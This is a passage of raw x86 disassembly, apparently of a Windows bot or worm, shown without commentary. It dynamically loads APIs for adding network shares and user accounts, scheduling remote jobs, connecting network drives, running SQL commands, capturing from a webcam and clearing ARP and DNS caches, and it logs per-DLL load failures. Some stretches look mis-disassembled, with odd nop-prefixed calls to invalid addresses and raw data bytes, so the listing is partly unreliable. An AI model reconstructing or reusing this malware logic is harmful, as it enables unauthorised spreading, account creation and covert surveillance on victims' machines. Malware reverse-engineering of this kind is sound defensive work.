		push	offset aIcmp_dll ; "icmp.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A252
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	edi
		call	esi
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	edi
		mov	dword_4CB95C, eax
		call	esi
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	edi
		mov	dword_4CBA8C, eax
		call	esi
		cmp	dword_4CB95C, ebx
		mov	dword_4CB8EC, eax
		jz	short loc_40A25D
		cmp	dword_4CBA8C, ebx
		jz	short loc_40A25D
		cmp	eax, ebx
		jnz	short loc_40A267
		jmp	short loc_40A25D
; ---------------------------------------------------------------------------


loc_40A252:				; CODE XREF: sub_409909+90Aj
		nop
		call	near ptr 26A096Ch
		mov	dword_4CBAC8, eax


loc_40A25D:				; CODE XREF: sub_409909+939j
					; sub_409909+941j ...
		mov	dword_4CBAC4, 1


loc_40A267:				; CODE XREF: sub_409909+945j
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A36E
		push	offset aNetshareadd ; "NetShareAdd"
		push	edi
		call	esi
		push	offset aNetsharedel ; "NetShareDel"
		push	edi
		mov	dword_4CB8C8, eax
		call	esi
		push	offset aNetshareenum ; "NetShareEnum"
		push	edi
		mov	dword_4CB8A0, eax
		call	esi
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	edi
		mov	dword_4CB918, eax
		call	esi
		push	offset aNetapibufferfr ; "NetApiBufferFree"
		push	edi
		mov	dword_4CB94C, eax
		call	esi
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	edi
		mov	dword_4CBA64, eax
		call	esi
		push	offset aNetuseradd ; "NetUserAdd"
		push	edi
		mov	dword_4CB900, eax
		call	esi
		push	offset aNetuserdel ; "NetUserDel"
		push	edi
		mov	dword_4CB8AC, eax
		call	esi
		push	offset aNetuserenum ; "NetUserEnum"
		push	edi
		mov	dword_4CB89C, eax
		call	esi
		push	offset aNetusergetinfo ; "NetUserGetInfo"
		push	edi
		mov	dword_4CB934, eax
		call	esi
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	edi
		mov	dword_4CBA2C, eax
		call	esi
		push	offset aNetwkstagetinf ; "NetWkstaGetInfo"
		push	edi
		mov	dword_4CB9E4, eax
		call	esi
		cmp	dword_4CB8C8, ebx
		mov	dword_4CB908, eax
		jz	short loc_40A379
		cmp	dword_4CB8A0, ebx
		jz	short loc_40A379
		cmp	dword_4CB918, ebx
		jz	short loc_40A379
		cmp	dword_4CB94C, ebx
		jz	short loc_40A379
		cmp	dword_4CBA64, ebx
		jz	short loc_40A379
		cmp	dword_4CB900, ebx
		jz	short loc_40A379
		cmp	dword_4CB8AC, ebx
		jz	short loc_40A379
		cmp	dword_4CB89C, ebx
		jz	short loc_40A379
		cmp	dword_4CB934, ebx
		jz	short loc_40A379
		cmp	dword_4CBA2C, ebx
		jz	short loc_40A379
		cmp	dword_4CB9E4, ebx
		jnz	short loc_40A383
		jmp	short loc_40A379
; ---------------------------------------------------------------------------


loc_40A36E:				; CODE XREF: sub_409909+969j
		nop
		call	near ptr 26A096Ch
		mov	dword_4CBAD0, eax


loc_40A379:				; CODE XREF: sub_409909+A11j
					; sub_409909+A19j ...
		mov	dword_4CBACC, 1


loc_40A383:				; CODE XREF: sub_409909+A61j
		push	offset aDnsapi_dll ; "dnsapi.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A3B8
		push	offset aDnsflushresolv ; "DnsFlushResolverCache"
		push	edi
		call	esi
		push	offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
		push	edi
		mov	dword_4CB8F0, eax
		call	esi
		cmp	dword_4CB8F0, ebx
		mov	dword_4CB9CC, eax
		jz	short loc_40A3C3
		cmp	eax, ebx
		jnz	short loc_40A3CD
		jmp	short loc_40A3C3
; ---------------------------------------------------------------------------


loc_40A3B8:				; CODE XREF: sub_409909+A85j
		nop
		call	near ptr 26A096Ch
		mov	dword_4CBAD8, eax


loc_40A3C3:				; CODE XREF: sub_409909+AA7j
					; sub_409909+AADj
		mov	dword_4CBAD4, 1


loc_40A3CD:				; CODE XREF: sub_409909+AABj
		push	offset aIphlpapi_dll ; "iphlpapi.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A402
		push	offset aGetipnettable ;	"GetIpNetTable"
		push	edi
		call	esi
		push	offset aDeleteipnetent ; "DeleteIpNetEntry"
		push	edi
		mov	dword_4CBA50, eax
		call	esi
		cmp	dword_4CBA50, ebx
		mov	dword_4CBA4C, eax
		jz	short loc_40A40D
		cmp	eax, ebx
		jnz	short loc_40A417
		jmp	short loc_40A40D
; ---------------------------------------------------------------------------


loc_40A402:				; CODE XREF: sub_409909+ACFj
		nop
		call	near ptr 26A096Ch
		mov	dword_4CBAE0, eax


loc_40A40D:				; CODE XREF: sub_409909+AF1j
					; sub_409909+AF7j
		mov	dword_4CBADC, 1


loc_40A417:				; CODE XREF: sub_409909+AF5j
		push	offset aMpr_dll	; "mpr.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A476
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	edi
		call	esi
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	edi
		mov	dword_4CBA7C, eax
		call	esi
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	edi
		mov	dword_4CBA74, eax
		call	esi
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	edi
		mov	dword_4CBA3C, eax
		call	esi
		cmp	dword_4CBA7C, ebx
		mov	dword_4CB90C, eax
		jz	short loc_40A481
		cmp	dword_4CBA74, ebx
		jz	short loc_40A481
		cmp	dword_4CBA3C, ebx
		jz	short loc_40A481
		cmp	eax, ebx
		jnz	short loc_40A48B
		jmp	short loc_40A481
; ---------------------------------------------------------------------------


loc_40A476:				; CODE XREF: sub_409909+B19j
		nop
		call	near ptr 26A096Ch
		mov	dword_4CBAE8, eax


loc_40A481:				; CODE XREF: sub_409909+B55j
					; sub_409909+B5Dj ...
		mov	dword_4CBAE4, 1


loc_40A48B:				; CODE XREF: sub_409909+B69j
		push	offset aShell32_dll ; "shell32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A4C0
		push	offset aShellexecutea ;	"ShellExecuteA"
		push	edi
		call	esi
		push	offset aShchangenotify ; "SHChangeNotify"
		push	edi
		mov	dword_4CB940, eax
		call	esi
		cmp	dword_4CB940, ebx
		mov	dword_4CBA48, eax
		jz	short loc_40A4CB
		cmp	eax, ebx
		jnz	short loc_40A4D5
		jmp	short loc_40A4CB
; ---------------------------------------------------------------------------


loc_40A4C0:				; CODE XREF: sub_409909+B8Dj
		nop
		call	near ptr 26A096Ch
		mov	dword_4CBAF0, eax


loc_40A4CB:				; CODE XREF: sub_409909+BAFj
					; sub_409909+BB5j
		mov	dword_4CBAEC, 1


loc_40A4D5:				; CODE XREF: sub_409909+BB3j
		push	offset aOdbc32_dll ; "odbc32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A55E
		push	offset aSqldriverconne ; "SQLDriverConnect"
		push	edi
		call	esi
		push	offset aSqlsetenvattr ;	"SQLSetEnvAttr"
		push	edi
		mov	dword_4CBA10, eax
		call	esi
		push	offset aSqlexecdirect ;	"SQLExecDirect"
		push	edi
		mov	dword_4CBA5C, eax
		call	esi
		push	offset aSqlallochandle ; "SQLAllocHandle"
		push	edi
		mov	dword_4CB998, eax
		call	esi
		push	offset aSqlfreehandle ;	"SQLFreeHandle"
		push	edi
		mov	dword_4CB950, eax
		call	esi
		push	offset aSqldisconnect ;	"SQLDisconnect"
		push	edi
		mov	dword_4CB9F0, eax
		call	esi
		cmp	dword_4CBA10, ebx
		mov	dword_4CB960, eax
		jz	short loc_40A569
		cmp	dword_4CBA5C, ebx
		jz	short loc_40A569
		cmp	dword_4CB998, ebx
		jz	short loc_40A569
		cmp	dword_4CB950, ebx
		jz	short loc_40A569
		cmp	dword_4CB9F0, ebx
		jz	short loc_40A569
		cmp	eax, ebx
		jnz	short loc_40A573
		jmp	short loc_40A569
; ---------------------------------------------------------------------------


loc_40A55E:				; CODE XREF: sub_409909+BD7j
		call	near ptr 26A096Ch
		nop
		mov	dword_4CBAF8, eax


loc_40A569:				; CODE XREF: sub_409909+C2Dj
					; sub_409909+C35j ...
		mov	dword_4CBAF4, 1


loc_40A573:				; CODE XREF: sub_409909+C51j
		push	offset aAvicap32_dll ; "avicap32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A5A8
		push	offset aCapcreatecaptu ; "capCreateCaptureWindowA"
		push	edi
		call	esi
		push	offset aCapgetdriverde ; "capGetDriverDescriptionA"
		push	edi
		mov	dword_4CB924, eax
		call	esi
		cmp	dword_4CB924, ebx
		mov	dword_4CBA04, eax
		jz	short loc_40A5B3
		cmp	eax, ebx
		jnz	short loc_40A5BD
		jmp	short loc_40A5B3
; ---------------------------------------------------------------------------


loc_40A5A8:				; CODE XREF: sub_409909+C75j
		nop
		call	near ptr 26A096Ch
		mov	dword_4CBB00, eax


loc_40A5B3:				; CODE XREF: sub_409909+C97j
					; sub_409909+C9Dj
		mov	dword_4CBAFC, 1


loc_40A5BD:				; CODE XREF: sub_409909+C9Bj
		push	1
		pop	eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_409909	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A5C5	proc near		; CODE XREF: sub_401ACD+2511p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		xor	esi, esi
		cmp	dword_4CBA94, esi
		push	edi
		mov	edi, [ebp+arg_8]
		jz	short loc_40A60D
		push	dword_4CBA98
		lea	eax, [ebp+var_200]
		push	offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A60D:				; CODE XREF: sub_40A5C5+1Aj
		cmp	dword_4CBA9C, esi
		jz	short loc_40A641
		push	dword_4CBAA0
		lea	eax, [ebp+var_200]
		push	offset aUser32_dllFail ; "User32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A641:				; CODE XREF: sub_40A5C5+4Ej
		cmp	dword_4CBAA4, esi
		jz	short loc_40A675
		push	dword_4CBAA8
		lea	eax, [ebp+var_200]
		push	offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A675:				; CODE XREF: sub_40A5C5+82j
		cmp	dword_4CBAAC, esi
		jz	short loc_40A6A9
		push	dword_4CBAB0
		lea	eax, [ebp+var_200]
		push	offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A6A9:				; CODE XREF: sub_40A5C5+B6j
		cmp	dword_4CBAB4, esi
		jz	short loc_40A6DD
		push	dword_4CBAB8
		lea	eax, [ebp+var_200]
		push	offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A6DD:				; CODE XREF: sub_40A5C5+EAj
		cmp	dword_4CBABC, esi
		jz	short loc_40A711
		push	dword_4CBAC0
		lea	eax, [ebp+var_200]
		push	offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A711:				; CODE XREF: sub_40A5C5+11Ej
		cmp	dword_4CBAC4, esi
		jz	short loc_40A745
		push	dword_4CBAC8
		lea	eax, [ebp+var_200]
		push	offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A745:				; CODE XREF: sub_40A5C5+152j
		cmp	dword_4CBACC, esi
		jz	short loc_40A779
		push	dword_4CBAD0
		lea	eax, [ebp+var_200]
		push	offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A779:				; CODE XREF: sub_40A5C5+186j
		cmp	dword_4CBAD4, esi
		jz	short loc_40A7AD
		push	dword_4CBAD8
		lea	eax, [ebp+var_200]
		push	offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A7AD:				; CODE XREF: sub_40A5C5+1BAj
		cmp	dword_4CBADC, esi
		jz	short loc_40A7E1
		push	dword_4CBAE0
		lea	eax, [ebp+var_200]
		push	offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A7E1:				; CODE XREF: sub_40A5C5+1EEj
		cmp	dword_4CBAE4, esi
		jz	short loc_40A815
		push	dword_4CBAE8
		lea	eax, [ebp+var_200]
		push	offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A815:				; CODE XREF: sub_40A5C5+222j
		cmp	dword_4CBAEC, esi
		jz	short loc_40A849
		push	dword_4CBAF0
		lea	eax, [ebp+var_200]
		push	offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A849:				; CODE XREF: sub_40A5C5+256j
		cmp	dword_4CBAF4, esi
		jz	short loc_40A87D
		push	dword_4CBAF8
		lea	eax, [ebp+var_200]
		push	offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A87D:				; CODE XREF: sub_40A5C5+28Aj
		cmp	dword_4CBAFC, esi
		jz	short loc_40A8B1
		push	dword_4CBB00
		lea	eax, [ebp+var_200]
		push	offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
		push	eax


loc_40A897:				; DATA XREF: ___:0043320Co
					; ___:00433250o ...
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A8B1:				; CODE XREF: sub_40A5C5+2BEj
		lea	eax, [ebp+var_200]
		push	offset unk_42D6C4
		push	eax
		call	sub_41C266
		cmp	[ebp+arg_C], esi
		pop	ecx
		pop	ecx
		jnz	short loc_40A8DE
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_40A8DE:				; CODE XREF: sub_40A5C5+302j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_415D38
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40A5C5	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A8F0	proc near		; CODE XREF: sub_4017ED+4Fp
					; sub_401ACD+5BC5p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4CBA14
		cmp	eax, 0FFFFFFFFh
		jnz	short locret_40A918
		push	[esp+arg_0]
		call	dword_4CBA58
		test	eax, eax
		jnz	short loc_40A911
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_40A911:				; CODE XREF: sub_40A8F0+1Bj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

locret_40A918:				; CODE XREF: sub_40A8F0+Dj
		retn
sub_40A8F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A919	proc near		; CODE XREF: sub_4017ED+D6p
		mov	ecx, dword_4CB8F0
		xor	eax, eax
		test	ecx, ecx
		jz	short locret_40A927
		call	ecx

locret_40A927:				; CODE XREF: sub_40A919+Aj
		retn
sub_40A919	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A928	proc near		; CODE XREF: sub_401ACD:loc_403F03p

var_88		= byte ptr -88h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	ebx
		lea	eax, [ebp+var_8]
		xor	edi, edi
		push	ebx
		push	eax
		push	edi
		xor	esi, esi
		mov	[ebp+var_8], edi
		mov	[ebp+var_4], ebx
		call	dword_4CBA50
		mov	ecx, eax
		sub	ecx, edi
		jz	loc_40A9EE
		sub	ecx, 32h
		jz	loc_40A9E7
		sub	ecx, 48h
		jz	short loc_40A988
		sub	ecx, 6Eh
		jz	short loc_40A981


loc_40A96A:				; CODE XREF: sub_40A928+8Bj
		push	eax
		lea	eax, [ebp+var_88]
		push	offset unk_42D8D8
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		jmp	short loc_40A9C8
; ---------------------------------------------------------------------------


loc_40A981:				; CODE XREF: sub_40A928+40j
		push	offset unk_42D8B4
		jmp	short loc_40A9BA
; ---------------------------------------------------------------------------


loc_40A988:				; CODE XREF: sub_40A928+3Bj
		push	[ebp+var_8]
		call	sub_41BEB5
		push	[ebp+var_8]
		mov	esi, eax
		push	edi
		push	esi
		call	sub_41BF70
		add	esp, 10h
		cmp	esi, edi
		jz	short loc_40A9B5
		lea	eax, [ebp+var_8]
		push	ebx
		push	eax
		push	esi
		call	dword_4CBA50
		cmp	eax, edi
		jz	short loc_40A9EE
		jmp	short loc_40A96A
; ---------------------------------------------------------------------------


loc_40A9B5:				; CODE XREF: sub_40A928+79j
		push	offset unk_42D884


loc_40A9BA:				; CODE XREF: sub_40A928+5Ej
					; sub_40A928+C4j
		lea	eax, [ebp+var_88]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_40A9C8:				; CODE XREF: sub_40A928+57j
		lea	eax, [ebp+var_88]
		mov	[ebp+var_4], edi
		push	eax
		call	sub_415D38
		pop	ecx


loc_40A9D8:				; CODE XREF: sub_40A928+C8j
					; sub_40A928+DCj
		push	esi
		call	sub_41BA91
		mov	eax, [ebp+var_4]
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40A9E7:				; CODE XREF: sub_40A928+32j
		push	offset unk_42D854
		jmp	short loc_40A9BA
; ---------------------------------------------------------------------------


loc_40A9EE:				; CODE XREF: sub_40A928+29j
					; sub_40A928+89j
		cmp	[esi], edi
		jbe	short loc_40A9D8
		lea	ebx, [esi+4]


loc_40A9F5:				; CODE XREF: sub_40A928+DAj
		push	ebx
		call	dword_4CBA4C
		inc	edi
		add	ebx, 18h
		cmp	edi, [esi]
		jb	short loc_40A9F5
		jmp	short loc_40A9D8
sub_40A928	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AA06	proc near		; CODE XREF: sub_401ACD+21EDp
					; sub_401ACD+233Ep ...

var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	10h
		pop	eax
		mov	[ebp+var_4], eax
		push	eax
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB978
		movzx	eax, [ebp+var_D]
		push	eax
		mov	esi, offset dword_4CBB04
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_F]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	esi
		call	sub_41C266
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40AA06	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AA5F	proc near		; CODE XREF: sub_413694+24Cp
					; sub_413694+292p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		cmp	esi, 1
		jle	short loc_40AA88
		mov	ecx, esi
		push	edi
		shr	ecx, 1
		mov	edx, ecx
		neg	edx
		lea	esi, [esi+edx*2]
		mov	edx, [esp+8+arg_0]


loc_40AA7B:				; CODE XREF: sub_40AA5F+24j
		movzx	edi, word ptr [edx]
		add	eax, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_40AA7B
		pop	edi
		jmp	short loc_40AA8C
; ---------------------------------------------------------------------------


loc_40AA88:				; CODE XREF: sub_40AA5F+Aj
		mov	edx, [esp+4+arg_0]


loc_40AA8C:				; CODE XREF: sub_40AA5F+27j
		test	esi, esi
		pop	esi
		jz	short loc_40AA96
		movzx	ecx, byte ptr [edx]
		add	eax, ecx


loc_40AA96:				; CODE XREF: sub_40AA5F+30j
		mov	ecx, eax
		and	eax, 0FFFFh
		shr	ecx, 10h
		add	ecx, eax
		mov	eax, ecx
		shr	eax, 10h
		add	eax, ecx
		not	eax
		retn
sub_40AA5F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AAAC	proc near		; CODE XREF: sub_40AE84+49p
					; DATA XREF: ___:off_42D920o

arg_0		= dword	ptr  4

		push	esi
		push	edi
		nop
		call	near ptr 26B0735h
		push	eax
		call	sub_41C2B8
		pop	ecx
		call	sub_41C2C2
		xor	edx, edx
		mov	ecx, 48Fh
		div	ecx
		mov	edi, [esp+8+arg_0]
		push	off_42D99C[edx*4]
		push	offset aS_1	; "%s"
		push	1Ch
		push	edi
		call	sub_41C360
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AB14


loc_40AAEE:				; CODE XREF: sub_40AAAC+66j
		call	sub_41C2C2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B89C
		push	1Ch
		push	edi
		call	sub_41C360
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AAEE


loc_40AB14:				; CODE XREF: sub_40AAAC+40j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_40AAAC	endp

; ---------------------------------------------------------------------------
		db 56h,	57h, 90h
		dd 2A5C14E8h, 91E85002h, 8B000117h, 0C710247Ch,	91382404h
		dd 0B4680042h, 6A0042CCh, 21E8571Ch, 33000118h,	10C483F6h
		dd 90983539h, 267E0042h, 11771E8h, 990A6A00h, 52F9F759h
		dd 0B89C6857h, 1C6A0042h, 17FAE857h, 0C4830001h, 353B4614h
		dd 429098h, 0C78BDA7Ch
; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40AB77	proc near		; CODE XREF: sub_401ACD+68EEp

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		call	near ptr 26B0735h
		nop
		push	eax
		call	sub_41C2B8
		pop	ecx
		call	sub_41C2C2
		push	3
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		xor	edi, edi
		idiv	ecx
		mov	esi, edx
		add	esi, dword_429098
		test	esi, esi
		jle	short loc_40ABBA


loc_40ABA4:				; CODE XREF: sub_40AB77+41j
		call	sub_41C2C2
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 61h
		mov	[edi+ebx], dl
		inc	edi
		cmp	edi, esi
		jl	short loc_40ABA4


loc_40ABBA:				; CODE XREF: sub_40AB77+2Bj
		and	byte ptr [edi+ebx], 0
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40AB77	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	dword ptr [ebp-4], 0
		push	esi
		push	edi
		mov	dword ptr [ebp-8], 100h
		call	near ptr 26B0735h
		nop
		push	eax
		call	sub_41C2B8
		pop	ecx
		lea	eax, [ebp-8]
		mov	esi, offset byte_4315F4
		push	eax
		push	esi
		nop
		call	near ptr 26E0000h
		movsx	eax, byte_4315F4
		push	41h
		pop	ecx
		push	1
		pop	edx


loc_40AC00:				; CODE XREF: ___:0040AC0Bj
		cmp	eax, ecx
		jnz	short loc_40AC07
		mov	[ebp-4], edx


loc_40AC07:				; CODE XREF: ___:0040AC02j
		inc	ecx
		cmp	ecx, 5Bh
		jl	short loc_40AC00
		push	61h
		pop	ecx


loc_40AC10:				; CODE XREF: ___:0040AC1Bj
		cmp	eax, ecx
		jnz	short loc_40AC17
		mov	[ebp-4], edx


loc_40AC17:				; CODE XREF: ___:0040AC12j
		inc	ecx
		cmp	ecx, 7Bh
		jl	short loc_40AC10
		mov	edi, [ebp+8]
		push	esi
		push	1Ch
		push	edi
		call	sub_41C360
		xor	esi, esi
		add	esp, 0Ch
		cmp	dword_429098, esi
		jle	short loc_40AC5C


loc_40AC36:				; CODE XREF: ___:0040AC5Aj
		call	sub_41C2C2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B89C
		push	1Ch
		push	edi
		call	sub_41C360
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AC36


loc_40AC5C:				; CODE XREF: ___:0040AC34j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		call	near ptr 26B0735h
		nop
		push	eax
		call	sub_41C2B8
		pop	ecx
		lea	eax, [ebp-0Ch]
		push	0Ah
		push	eax
		push	7
		push	800h
		nop
		call	near ptr 26F0000h
		mov	edi, [ebp+8]
		lea	eax, [ebp-0Ch]
		push	eax
		push	offset dword_4315F8
		push	1Ch
		push	edi
		call	sub_41C360
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40ACD1


loc_40ACAB:				; CODE XREF: ___:0040ACCFj
		call	sub_41C2C2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B89C
		push	1Ch
		push	edi
		call	sub_41C360
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40ACAB


loc_40ACD1:				; CODE XREF: ___:0040ACA9j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		push	esi
		lea	eax, [ebp-94h]
		push	edi
		push	eax
		mov	esi, offset byte_43DB88
		mov	dword ptr [ebp-94h], 94h
		nop
		call	near ptr 26F0582h
		nop
		call	near ptr 26B0735h
		push	eax
		call	sub_41C2B8
		cmp	dword ptr [ebp-90h], 4
		pop	ecx
		jnz	short loc_40AD5B
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_40AD3B
		cmp	dword ptr [ebp-84h], 1
		jnz	short loc_40AD2B
		mov	esi, offset dword_431620


loc_40AD2B:				; CODE XREF: ___:0040AD24j
		cmp	dword ptr [ebp-84h], 2
		jnz	short loc_40AD97
		mov	esi, offset dword_43161C
		jmp	short loc_40AD97
; ---------------------------------------------------------------------------


loc_40AD3B:				; CODE XREF: ___:0040AD1Bj
		cmp	dword ptr [ebp-8Ch], 0Ah
		jnz	short loc_40AD4B
		mov	esi, offset dword_431618
		jmp	short loc_40AD97
; ---------------------------------------------------------------------------


loc_40AD4B:				; CODE XREF: ___:0040AD42j
		cmp	dword ptr [ebp-8Ch], 5Ah
		jnz	short loc_40AD92
		mov	esi, offset dword_431614
		jmp	short loc_40AD97
; ---------------------------------------------------------------------------


loc_40AD5B:				; CODE XREF: ___:0040AD12j
		cmp	dword ptr [ebp-90h], 5
		jnz	short loc_40AD92
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_40AD74
		mov	esi, offset dword_431610
		jmp	short loc_40AD97
; ---------------------------------------------------------------------------


